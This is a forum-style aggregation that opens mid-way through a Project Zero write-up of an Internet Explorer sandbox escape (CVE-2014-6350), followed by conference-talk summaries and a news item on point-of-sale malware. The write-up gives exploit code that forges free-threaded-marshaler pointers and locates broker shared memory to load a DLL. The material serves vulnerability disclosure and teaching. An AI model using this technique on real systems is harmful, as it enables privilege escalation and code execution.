fake-proxy and effectively just allows direct calls to be made on the original object. Now if at this point you might be getting uncomfortable that’s understandable. As the marshaler is little different between DCOM and in-process COM this is surely a massive security hole? Fortunately not, the FTM doesn’t just send the pointer value it also tries to ensure only the same process which marshaled the pointer can unmarshal it again. It does this by generating a per-process 16 byte random value which is attached to the serialized data. When deserializing the FTM checks that the value matches the one in the current process, rejecting anything which is incorrect. The assumption here is an attacker can’t guess or brute-force such a value, therefore the FTM will never unmarshal an invalid pointer. But this threat model obviously doesn’t take into account being able to read process memory, and it just so happens we have just such a vulnerability. The implementation of the FTM lies in combase.dll specifically the CStaticMarshaler class. For Windows 7 it’s in ole32.dll and is called CFreeMarshaler instead. Looking at CStaticMarshaler::UnmarshalInterface we have code which is roughly as follows: HRESULT CStaticMarshaler::UnmarshalInterface(IStream* pStm, REFIID riid, void** ppv) { DWORD mshlflags; BYTE secret[16]; ULONGLONG pv; if (!CStaticMarshaler::_fSecretInit) { return E_UNEXPECTED; } pStm->Read(&mshlflags, sizeof(mshlflags)); pStm->Read(&pv, sizeof(p)); pStm->Read(secret, sizeof(secret)); if (SecureCompareBuffer(secret, CStaticMarshaler::_SecretBlock)) { *ppv = (void*)pv; if ((mshlflags == MSHLFLAGS_TABLESTRONG) || (mshlflags == MSHLFLAGS_TABLEWEAK)) { ((IUnknown*)*ppv)->AddRef(); } return S_OK; } else { return E_UNEXPECTED; } } Note that the method checks that the secret is initialized first, this prevents accidentally using a zero-secret value if it was uninitialized. Also note the use of a secure comparison function to combat timing attacks against the secret check. Actually this is a case of not-back porting fixes. In Windows 7 the comparison uses a repe cmdsd instruction, which isn’t constant time. Therefore on Windows 7 you might be able to exploit this check by mounting a side-channel timing attack, although I think it would be pretty complex and time consuming to do so. In the end our structure looks like the following: In order to exploit this in our code we need to implement the IMarshal interface on our COM object. Specifically we need to implement two methods, IMarshal::GetUnmarshalClass which returns the CLSID of the COM object to use when reconstructing the code and IMarshal:MarshalInterface which will package up the appropriate pointer value for the exploit. A simple example is shown below: GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } }; HRESULT STDMETHODCALLTYPE CFakeObject::GetUnmarshalClass( REFIID riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) { memcpy(pCid, &CLSID_FreeThreadedMarshaller, sizeof(CLSID_FreeThreadedMarshaller)); return S_OK; } HRESULT STDMETHODCALLTYPE CFakeObject::MarshalInterface( IStream *pStm, REFIID riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) { pStm->Write(&_mshlflags, sizeof(_mshlflags), NULL); pStm->Write(&_pv, sizeof(_pv), NULL); pStm->Write(&_secret, sizeof(_secret), NULL); return S_OK; } Simple enough. We’ll get to how this is used later. Escaping the Sandbox With the background out of the way it’s time to escape the sandbox. There are three things we need to do to get code execution from the sandbox in the broker process: Extract the FTM per-process secret from the broker. Construct a fake v-table and a fake object pointer. Marshal an object into the broker to get code executed. Extract Per-Process Secret This should be a pretty easy task, we know where the secret’s held in memory as the load address of combase.dll is going to be the same in the sandbox process as the broker process. Even though Windows Vista introduced ASLR system DLLs are only randomised once at boot, therefore combase.dll is going to be mapped to the same location in every process. This is a weakness in ASLR on Windows, especially for local privilege escalation .But if you dump the values during normal IE operation you’ll see a problem: Unfortunately the FTM isn’t initialized, which means that we couldn’t exploit this even if we wanted to. So how are we going to get it to initialize from the sandboxed process? We just need to get the broker to do more COM stuff, specifically something which is likely to invoke the FTM. For that we can use the file open/save dialog. This dialog actually hosts the Explorer Shell (well really shell32.dll) which uses COM under the hood. As it’s also a UI then it will almost certainly use an STA but could call into Free Threaded objects which would invoke the FTM. So lets just try and open the dialog manually and see. Much better. The real reason to choose this is we can open the dialog from the sandboxed process using the IEShowSaveFileDialog API call (which is actually implemented by various broker calls). Obviously this will display some UI but it doesn’t really matter, by the time the dialog is displayed the FTM is already initialized, there isn’t anything the user could do about it. For now we’ll just hard code the offsets into combase.dll. But of course you could find them dynamically by initializing the FTM in the sandboxed process and finding the offset through a memory search for the marshaled secret. Constructing a Fake V-Table Now the next challenge is to get our fake v-table into the broker process. As we can read out the broker’s memory we could certainly do something like heap flooding using one of the broker APIs, but is there an easier way? The IE broker and sandboxed processes share a few memory sections to pass settings and information between themselves. Some of these sections are writable by the sandboxed process, therefore all we need to do is find the corresponding mapping in the broker, then modify to our heart’s content. In this case the section \Sessions\X\BaseNamedObjects\URLZones_user was chosen (where X is the session ID and user is the username), but anything would do as long as it’s already mapped into the broker and writable by the sandboxed process. We don’t have to do much in the way of brute-forcing to find the section. As we can open the process with PROCESS_QUERY_INFORMATION access we can call VirtualQueryEx to enumerate mapped memory sections. As it returns the size we can quickly skip unmapped areas. Then we can look for a canary value we wrote to the section to determine the exact location. DWORD_PTR FindSharedSection(LPBYTE section, HANDLE hProcess) { // No point starting at lowest value LPBYTE curr = (LPBYTE)0x10000; LPBYTE max = (LPBYTE)0x7FFF0000; memcpy(&section[0], "ABCD", 4); while (curr < max) { MEMORY_BASIC_INFORMATION basicInfo = { 0 }; if (VirtualQueryEx(hProcess, curr, &basicInfo, sizeof(basicInfo))) { if ((basicInfo.State == MEM_COMMIT) && (basicInfo.Type == MEM_MAPPED) && (basicInfo.RegionSize == 4096)) { CHAR buf[4] = { 0 }; SIZE_T read_len = 0; ReadProcessMemory(hProcess, (LPBYTE)basicInfo.BaseAddress, buf, 4, &read_len); if (memcmp(buf, "ABCD", 4) == 0) { return (DWORD_PTR)basicInfo.BaseAddress; } } curr = (LPBYTE)basicInfo.BaseAddress + basicInfo.RegionSize; } else { break; } } return 0; } Once we’ve determined the location of the shared memory section we need to build the v-table and the fake object. What should we call through the v-table? You might think at this point it’s time to build a ROP chain, but of course we don’t really need to do that. As all COM calls use the stdcall calling convention where all arguments are placed on the stack we can call any location we like with 1 argument we almost completely control, the this pointer to our fake object. One way of exploiting this is to use a function such as LoadLibraryW and construct the fake object with a relative path to a DLL to load. As long as the v-table pointer doesn’t contain any NULs (which makes this technique less useful on 64-bit I might add) we can remove it from the path and cause it to load the library. We can set the lower 16 bits to any arbitrary value we like to eliminate this problem and while we don’t control the upper 16 bits there’s effectively no chance it would end up as a 0 due to the NULL page protection in Windows preventing allocations below the 64KiB point. In the end our fake object looks like: Of course if you look up the definition of the IUnknown interface which the V-Table implements only AddRef and Release have a compatible signature. If the broker calls QueryInterface on the object then the signature isn’t correct. On 64-bit this wouldn’t matter due to the way parameters are passed but on 32-bit this will cause the stack to be misaligned, not ideal. But it doesn’t really matter, we could always fix this up if it’s a problem or just call ExitProcess from the broker, still if we choose an appropriate method when injecting the object it might never call it at all, which is what we’ll do here. Marshaling an Object into Broker Finally the easy bit, as pretty much all the interfaces to the broker from the sandbox use COM all we need to do is find a call which takes a bare IUnknown pointer and pass it our fake marshaling object. For this purpose I found that you could query for the IEBrokerAttach interface from the Shell Document View broker which has a single function with the following prototype: HRESULT AttachIEFrameToBroker(IUnknown* pFrame); To make this even better before we get hold of the pointer to the broker the frame has already been set, this makes this method fail immediately without touching the pFrame object. Therefore we don’t need to worry about QueryInterface being called. Our exploit is going to run before this function ever gets called so we don’t really care. So we create our fake object and call this method. This will cause the COM infrastructure to marshal our data into an OBJREF. This ends up on the other side of the IPC channel where the COM infrastructure will unmarshal it. This causes the FTM UnmarshalInterface method to be called, and as we’ve successfully discovered the secret value will happily unpack our fake object pointer. Finally the method will call AddRef on the object as we can set the passed mshlflags to MSHLFLAGS_TABLESTRONG. This will execute LoadLibraryW with our fake object as the path parameter. This’ll load an arbitrary DLL into the broker, all that’s required is to pop calc and it’s job done. Finally the real server function will be called, but that returns immediately with an error. Nice clean sandbox escape, even if it requires a fair amount of actual code to achieve. Wrapping it Up So I’ve added a new PoC to the original issue for this bug to demonstrate the attack on 32-bit Windows 8.1 update (obviously without the MS14-065 patch). It won’t work directly on 64-bit Windows 8.1 as the broker process runs as 64-bit even if the tab processes might be 32-bit. You’ll need to be a bit more creative to get it to work on 64-bit, but you can easily get control over RIP so it isn’t a major concern. If you want to test it on an up to date machine, then the PoC contains a tool, SetProcessDACL, which modifies a process’s DACL to re-add read permissions for the IE Capability SID. Hopefully it gives you an idea on how you could exploit similar bugs. Still, let’s not blame COM for this, since it isn’t really its fault. This is only a demonstration of how a relatively innocuous issue, memory disclosure in a privileged process, completely breaks many security assumptions leading to code execution and elevation of privilege. Posted by Chris Evans at 11:29 AM Sursa: Project Zero: Internet Explorer EPM Sandbox Escape CVE-2014-6350

[h=1]LASCON 2010 - Robert "RSnake" Hansen and Josh Sokol - HTTPS Can Byte Me[/h] Robert "RSnake" Hansen and Josh Sokol speaking at LASCON 2010 on "HTTPS Can Byte Me".

[h=1]2012-08-28 - OAuth 2.0 Security (Tom Brown)[/h]

Hacking Exposed: Mobile Edition (Joel Scambray) Description: Hacking Exposed: Mobile Edition (Joel Scambray) For More Information please visit: - https://owasp.org/index.php/OWASP_Events/upcoming_events Sursa: Hacking Exposed: Mobile Edition (Joel Scambray)

Fun With Windows 8 Web Services (Hd Moore) Description: Fun with Windows 8 Web Services (HD Moore) For More Information please visit: - https://owasp.org/index.php/OWASP_Events/upcoming_events Sursa: Fun With Windows 8 Web Services (Hd Moore)

Lascon 2013 - Practical Pki - Steven Bernstein Description: WhiteHat Security Ballroom (Norris Conference Center, 2525 W. Anderson Lane, Suite 365, Austin, Texas 78757) Developer Track Establishing Electronic Trust is becoming a more important part of the digital landscape than ever before. This presentation aims to do two things: One is to use allegory and a story like approach to explain what PKI is without the math. The other seeks to paint a picture of the impact to doing business and where the road looks to be going. Part One: What is PKI in practical terms. It may seem commonplace in the industry by now, but believe you me, there are plenty who don't know a Relying Party from a hole in the ground. We'll cover some of the common terms above and beyond Digital Certificates, how they interact, and how things are managed. An attempt will be made to inject some humor as gravy to what is seen as an otherwise dry topic. This isn't to say this that finger puppets will be used, but for the people want to learn, demystifying information in plain English should be a welcome change. An explanation of the trusted roles involved in deploying certificates, the governance of the system, and the management and distribution of keys will be offered afterwards. Part Two: A few real world examples of how to apply these concepts will then be offered, having established a basic understanding of how the pieces of the jigsaw fit together. Once these topics are briefly covered, it will be time to suggest where things are going based on key events taking place in this ever active and growing industry of Identity Management. Included will be some observed happenings regarding the National Strategy for Trusted Identities in Cyberspace (NSTIC) and the much sought after on-the-fly provisioning methods. For More Information please visit:- | Lonestar Application Security Conference Sursa: Lascon 2013 - Practical Pki - Steven Bernstein

Virus Bulletin - Hypervisor-Based, Hardware-Assisted System Monitoring Description: In the last few years, many different techniques have been introduced to analyse malicious binary executables. Most of these techniques take advantage of Virtual Machine Introspection (VMI), the process of analysing the state of a virtual machine from the outside. On the one hand, many approaches are based on system emulators which enable a tight control over the program execution. Unfortunately, such approaches typically induce a huge performance overhead. On the other hand, there are approaches based on hypervisors. Early implementations were hampered by the missing virtualizability of the x86 instruction set architecture: since the memory management unit (MMU) itself was not virtualized, memory separation needed to be enforced in software with the help of so-called 'shadow page' tables, an approach that again induced performance overhead. However, processor vendors have recently added hardware support for MMU virtualization, and modern CPUs offer so-called 'two-dimensional paging' to overcome such performance bottlenecks. In our presentation we demonstrate how this processor feature can be utilized to implement a binary analysis framework. More specifically, we introduce an approach to monitor code execution based on the concept of Currently eXecutable Pages (CXP), i.e. we precisely control which memory pages are currently executable to enable the interception of intermodular function calls and their corresponding returns. When an interception occurs, we apply VMI to deduce runtime information such as function parameters. To demonstrate the practical feasibility of the proposed approach, we implemented 'VMMInspector', a framework for binary analysis on 64-bit machines and Windows 7. In several case studies we present different usage scenarios for that framework. Amongst other applications, we demonstrate how the kernel rootkit TDSS/TDL4 can be analysed in an automated way. For More information please visit: - https://www.virusbtn.com/index Sursa: Virus Bulletin - Hypervisor-Based, Hardware-Assisted System Monitoring

Virus Bulletin - Hacking Team And Gamma International In 'Business-To-Government Malware' Description: FinFisher, a.k.a. FinSpy, is a spying complex for various platforms developed by a British company called Gamma International. The company is based in Andover, UK, and according to their website they are focused on creating remote monitoring solutions for various governmental institutes. Da Vinci can be dubbed in the same way: a multi-platform spying complex. It is developed and supported by an Italian company based in Milan called Hacking Team. According to their website they are focused on providing offensive technologies to different law enforcement agencies and intelligence communities. Between them, Gamma International and Hacking Team have already developed and sold to third parties a number of backdoors and spying tools for different platforms like Windows, Mac OS X, Windows Mobile, Android, Blackberry and others. All the samples we've seen so far would be classified as malicious from an AV vendor point of view: they work silently and leave almost no traces; they are able to steal a lot of types of personal information; they can receive commands and execute them; they are signed by trusted certificates or have an ability to self-propagate; there is no EULA shown before, during or after 'installation' This presentation will cover all known and unknown details about different versions of Da Vinci and FinSpy. We will expose all similarities and differences between them. We will also discuss the question of the 'business-to-government' malware market, which has become a reality in 2012 and continues to be discussed in 2013. If you like IDA screenshots, black consoles, maps and photos, then this paper and presentation is for you! For More information please visit: - https://www.virusbtn.com/index Sursa: Virus Bulletin - Hacking Team And Gamma International In 'Business-To-Government Malware'

Virus Bulletin - Methods Of Malware Persistence On Mac Os X Description: As Mac OS X continues to increase in popularity, OS X malware, once a rare phenomenon, is now more common than ever. Due to this, it is essential for forensic and malware analysts to possess an in-depth understanding of OS X and how it may be attacked by malicious code. In general, malware on any OS is designed to persist across reboots, ensuring that it is automatically executed whenever an infected system is restarted. This paper presents a detailed analysis of both the boot and logon process of Apple's latest OS; OS X Mavericks. Throughout the analysis, methods that may be abused by malicious adversaries to ensure malware persistence, will comprehensively be identified. To help illustrate the claims of the analysis, real-world examples of OS X malware will be presented that target portions of the OS in order to gain persistence. For any novel persistence techniques, proof of concept code will be discussed, with the goal of preventing future attacks. Finally, an open-source tool will be demonstrated that can enumerate and display persistent OS X binaries that are set to execute automatically upon reboot. As a result of reading this paper, or attending its presentation, participants will gain a thorough understanding of the OS X boot and logon process, as well as the components that are targeted by persistent malware. Armed with this knowledge, it is hoped that persistent OS X malware will be readily thwarted. For More information please visit: - https://www.virusbtn.com/index Sursa: Virus Bulletin - Methods Of Malware Persistence On Mac Os X

Hope X - Social Engineering Description: The tenth incarnation of this panel, which officially makes it a tradition. One of our biggest draws, this session always delivers something memorable. The panel will tell stories of the magic of social engineering, predict what may or may not be possible in the future, and make a few live attempts over the phone to gain information they have absolutely no right to possess. Sometimes it works and sometimes it fails horribly, as is the very nature of social engineering. You'll learn how to recover from being denied or busted and how to push forward, gaining tiny bits of information until you possess more knowledge about your target than you (or they) ever thought possible. Speakers: Emmanuel Goldstein and friends For More Information please visit: - [HOPE X] Speakers Sursa: Hope X - Social Engineering

Owasp Appsecusa 2014 - Top 10 Web Hacking Techniques Of 2013 Description: Top 10 Web Hacking Techniques of 2013 Every year the security community produces a stunning number of new Web hacking techniques that are published in various white papers, blog posts, magazine articles, mailing list emails, conference presentations, etc. Within the thousands of pages are the latest ways to attack websites, Web browsers, Web proxies, and their mobile platform equivalents. Beyond individual vulnerabilities with CVE numbers or system compromises, we are solely focused on new and creative methods of Web-based attack. Now in its eighth year, the Top 10 Web Hacking Techniques list encourages information sharing, provides a centralized knowledge base, and recognizes researchers who contribute excellent work. In this talk, We will do a technical deep dive and take you through the Top 10 Web Hacks of 2013 as picked by an expert panel of judges. This year’s winners are: 1 - Mario Heiderich – Mutation XSS 2 - Angelo Prado, Neal Harris, Yoel Gluck – BREACH 3 - Pixel Perfect Timing Attacks with HTML5 4 - Lucky 13 Attack 5 - Weaknesses in RC4 6 - Timur Yunusov and Alexey Osipov – XML Out of Band Data Retrieval 7 - Million Browser Botnet 8 - Large Scale Detection of DOM based XSS 9 - Tor Hidden-Service Passive De-Cloaking 10 - HTML5 Hard Disk Filler™ API Speakers Matt Johansen Senior Manager, WhiteHat Security Matt Johansen is a Sr. Manager for the Threat Research Center at WhiteHat Security where he manages a team of Application Security Specialists, Engineers and Supervisors to prevent website security attacks and protect companies’ and their customers’ data. Before this he was an Application Security Engineer where he oversaw and assessed more than 35,000 web applications that WhiteHat has under contract for many Fortune 500 companies across a range of technologies. Johnathan Kuskos Senior Application Security Engineer, WhiteHat Security Johnathan Kuskos is a Senior Application Security Engineer for WhiteHat Security's Threat Research Center in Houston, Texas. After personally assessing several hundred web applications, he moved into a managerial role so that he could contribute to mentoring younger security engineers. Later this year he'll be moving to Belfast, Ireland to head up the new EU division of WhiteHat Security's Threat Research Center. For More Information please visit : - AppSec USA 2014 - AppSec USA 2014 Sursa: Owasp Appsecusa 2014 - Top 10 Web Hacking Techniques Of 2013

[h=2]Cybercriminals Testing New PoS Malware 'Poslogr'[/h] By Eduard Kovacs on December 01, 2014 Researchers at Trend Micro have come across a sample of a new point-of-sale (PoS) malware that appears to be under development. Detected by the security firm as TSPY_POSLOGR.K, the threat relies on multiple components to carry out its mission, which makes it similar to a recently discovered variant of the notorious BlackPoS malware (TSPY_MEMLOG.A). Poslogr is designed to read the memory associated with specific processes in an effort to obtain payment card information. The data is then saved to files named "rep.bin" and "rep.tmp." The list of targeted processes is specified in a .INI file that acts as a configuration file. However, researchers haven't found the configuration file on the infected system so it's uncertain which processes are scanned by the malware. The same configuration file also includes a variable that specifies the time interval for re-scanning the processes. There are several other clues that have led experts to believe that Poslogr is either under development or still in the beta testing phase. For example, the malware's code contains debugging information, it doesn't connect to any command and control (C&C) server, and it doesn't upload the harvested data. Since Poslogr appears to be a multicomponent malware, researchers assume that the component responsible for transferring the dumped data is deployed as a package. According to Trend Micro, the threat is distributed via drive-by downloads and with the aid of other malware. Last week, researchers at threat intelligence company IntelCrawler reported uncovering a new PoS malware targeting electronic kiosks. Dubbed "d4re|dev1|," the malware has been spotted on close to 80 machines in the European Union, the United States and Australia. It's not surprising that the number of threats designed to target PoS systems is increasing, considering that this type of malware has been successfully used in a large number of operations. In the attack against the U.S. retailer Target, cybercriminals managed to steal more than 40 million credit and debit card records with the aid of the BlackPOS malware. The Backoff RAM scrapper has also been used in numerous attacks. In August, the U.S. Secret Service estimated that over 1,000 businesses had been hit. Sursa: Cybercriminals Testing New PoS Malware 'Poslogr' | SecurityWeek.Com